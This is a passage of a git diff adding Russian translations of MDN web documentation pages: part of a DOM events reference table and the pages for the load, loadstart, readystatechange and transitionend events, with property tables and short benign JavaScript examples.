+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("MSManipulationStateChanged")}}</td>
+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Event("MSPointerHover")}} {{Deprecated_Inline}}</td>
+   <td></td>
+   <td><em>Microsoft specific</em></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="События_специфичные_для_Mozilla">События, специфичные для Mozilla</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> those events are never exposed to web content and can only be used in chrome content context.</p>
+</div>
+
+<h3 id="XUL_события">XUL события</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Имя события</th>
+   <th>Тип события</th>
+   <th>Спецификация</th>
+   <th>Происходит когда...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("broadcast")}}</td>
+   <td></td>
+   <td><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers#Broadcast_event">XUL</a></td>
+   <td>An <code>observer</code> noticed a change to the attributes of a watched broadcaster.</td>
+  </tr>
+  <tr>
+   <td>{{Event("CheckboxStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>checkbox</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/close_event">close</a></td>
+   <td></td>
+   <td>XUL</td>
+   <td>The close button of the window has been clicked.</td>
+  </tr>
+  <tr>
+   <td>{{Event("command")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>An element has been activated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("commandupdate")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A command update occurred on a <code>commandset</code> element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMenuItemActive")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>A menu or menuitem has been hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMMenuItemInactive")}}</td>
+   <td></td>
+   <td><em>XUL</em></td>
+   <td>A menu or menuitem is no longer hovered or highlighted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popuphidden")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popuphiding")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to be hidden.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popupshowing")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip is about to become visible.</td>
+  </tr>
+  <tr>
+   <td>{{Event("popupshown")}}</td>
+   <td><code>PopupEvent</code></td>
+   <td><a href="/en-US/docs/XUL/PopupGuide/PopupEvents"><em>XUL</em></a></td>
+   <td>A menupopup, panel or tooltip has become visible.</td>
+  </tr>
+  <tr>
+   <td>{{Event("RadioStateChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The state of a <code>radio</code> has been changed either by a user action or by a script (useful for accessibility).</td>
+  </tr>
+  <tr>
+   <td>{{Event("ValueChange")}}</td>
+   <td></td>
+   <td>XUL</td>
+   <td>The value of an element has changed (a progress bar for example, useful for accessibility).</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Дополнительные_специфичные_события"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Дополнительные специфичные события</span></span></span></h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Тип события</th>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Происходит когда...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to move away from each other.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points move away from each other (after a MozMagnifyGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points start to rotate around a point.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a MozRotateGestureStart).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points rotate around a point (after a sequence of MozRotateGestureUpdate).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Two touch points are tapped on the touch surface.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A touch point is swiped across the touch surface to invoke the edge UI (Win8 only).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozAfterPaint">MozAfterPaint</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Content has been repainted.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>popup был блокирован</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Окно было создано.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Окно будет закрыто.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>Зоголовок окна изменен.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>Ссылка была добавлена внутри документа.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a></td>
+   <td></td>
+   <td><em>Addons specifc</em></td>
+   <td>Ссылка была удалена внутри документа.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been added to a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A <code>meta</code> element has been removed from a document.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog is about to open.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>A modal dialog has been closed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMAutoComplete">DOMAutoComplete</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The content of an element has been auto-completed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The frame has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Элемент <code><a href="/en-US/docs/XUL/notification">notification</a></code> показан.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Элемент <code><a href="/en-US/docs/XUL/notification">notification</a></code> закрыт.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/fullscreen">fullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Browser fullscreen mode has been entered or left.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/sizemodechange">sizemodechange</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Window has entered/left fullscreen mode, or has been minimized/unminimized.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozEnteredDomFullscreen">MozEnteredDomFullscreen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td><a href="/en-US/docs/DOM/Using_full-screen_mode">DOM fullscreen</a> mode has been entered.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this window.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>The session store will stop tracking this tab.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка будет восстановлена.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была восстановлена.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Состояние окна было переключено в состояние "готовое".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Состояние окна было переключено в состояние "занятое".</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была открыта.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была закрыта.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была выбрана.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была показана.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка был скрыта.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была закреплена.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a></td>
+   <td></td>
+   <td><em>Addons specific</em></td>
+   <td>Вкладка была откреплена.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="События_связанные_с_инструментами_разработчика"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>События, связанные с инструментами разработчика</span></span></span></h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Тип события</th>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Происходит когда...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>Представление "Правила" инспектора стилей было обновлены.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td>Представление "Правила" инспектора стилей было изменены.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></td>
+   <td></td>
+   <td><em>devtools specific</em></td>
+   <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Ссылка на файл CSS была нажата в представлении «Правила» инспектора стилей.</span></span></span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{DOMxRef("Event")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events">Руководство по разработке событий</a></li>
+</ul>
diff --git a/files/ru/web/events/load/index.html b/files/ru/web/events/load/index.html
new file mode 100644
index 0000000000..a8d456806d
--- /dev/null
+++ b/files/ru/web/events/load/index.html
@@ -0,0 +1,88 @@
+---
+title: load
+slug: Web/Events/load
+translation_of: Web/API/Window/load_event
+---
+<p>Событие <code>load</code> происходит когда ресурс и его зависимые ресурсы закончили загружаться.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывает</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Window</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Нет.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;script&gt;
+  window.addEventListener("load", function(event) {
+    console.log("All resources finished loading!");
+  });
+&lt;/script&gt;
+</pre>
+
+<p> </p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/ru/web/events/loadstart/index.html b/files/ru/web/events/loadstart/index.html
new file mode 100644
index 0000000000..b725b05b30
--- /dev/null
+++ b/files/ru/web/events/loadstart/index.html
@@ -0,0 +1,89 @@
+---
+title: loadstart
+slug: Web/Events/loadstart
+translation_of: Web/API/XMLHttpRequest/loadstart_event
+---
+<p>Событие <code>loadstart</code> происходит, когда начинается загрузка.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/progress-events/">Progress</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">ProgressEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Распространяется</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>lengthComputable </code>{{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Specifies whether or not the total size of the transfer is known. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>loaded</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>total</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Связанные_свойства">Связанные свойства</h2>
+
+<ul>
+ <li>{{event("loadstart")}}</li>
+ <li>{{event("progress")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("loadend")}}</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">Отслеживание состояния загрузки</a></li>
+</ul>
diff --git a/files/ru/web/events/readystatechange/index.html b/files/ru/web/events/readystatechange/index.html
new file mode 100644
index 0000000000..5a268b033f
--- /dev/null
+++ b/files/ru/web/events/readystatechange/index.html
@@ -0,0 +1,90 @@
+---
+title: readystatechange
+slug: Web/Events/readystatechange
+tags:
+  - события
+translation_of: Web/API/Document/readystatechange_event
+---
+<p>{{ApiRef}}</p>
+
+<p>Событие <code>readystatechange</code> срабатывает, когда изменяется атрибут документа <a href="/en-US/docs/DOM/document.readyState"><code>readyState</code></a>.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#current-document-readiness">HTML5</a></dd>
+ <dt style="margin: 0px 0px 0px 120px;"> </dt>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывает</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Document</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчаанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Цель события (Самая верхняя цель в дереве DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Всплывает ли событие.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Возможно ли отменить событие.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">document.readyState === "complete";
+// true
+
+
+// Альтернатива DOMContentLoaded
+document.onreadystatechange = function () {
+    if (document.readyState === "interactive") {
+        initApplication();
+    }
+}
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Данное событие давно поддерживается Internet Explorer и может быть использовано в качестве альтернативы событию <code><a href="/ru/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></code> (см. примечание [2] в разделе  <a href="/ru/docs/Web/Events/DOMContentLoaded#Поддержка_браузерами">Поддержка браузерами</a>).</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/ru/web/events/transitionend/index.html b/files/ru/web/events/transitionend/index.html
new file mode 100644
index 0000000000..dfb8542da6
--- /dev/null
+++ b/files/ru/web/events/transitionend/index.html
@@ -0,0 +1,165 @@
+---
+title: transitionend
+slug: Web/Events/transitionend
+tags:
+  - CSS
+translation_of: Web/API/HTMLElement/transitionend_event
+---
+<p><span style="line-height: 1.5;">Событие </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатывает, когда</span><span style="line-height: 1.5;"> </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;"> закончил свое выполнение. В случае, когда анимация удаляется до ее завершения(например, если <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a> </span><span style="line-height: 1.5;">удаляется), то событие не срабатывает.</span></p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("TransitionEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Всплывает</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Да</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Элемент</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("document")}}, {{domxref("element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>propertyName</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name of the CSS property associated with the transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{readonlyInline}}</td>
+   <td>Float</td>
+   <td>The amount of time the transition has been running, in seconds, as of the time the event was generated. This value is not affected by the value of <code>transition-delay</code>.</td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name (beginning with two colons) of the CSS pseudo-element on which the transition occured (in which case the target of the event is that pseudo-element's corresponding element), or the empty string if the transition occurred on an element (which means the target of the event is that element).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">/*
+ * Прослушивать событие <span style="font-size: 1rem;">transitionend на определенном элементе, т.е. </span><span style="font-size: 1rem;">#slidingMenu</span>
+ * Затем, вызвать определенную функцию, т.е. showMessage()
+ */
+function showMessage() {
+    alert('Transition закончил свое выполнение');
+}
+
+var element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", showMessage, false);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
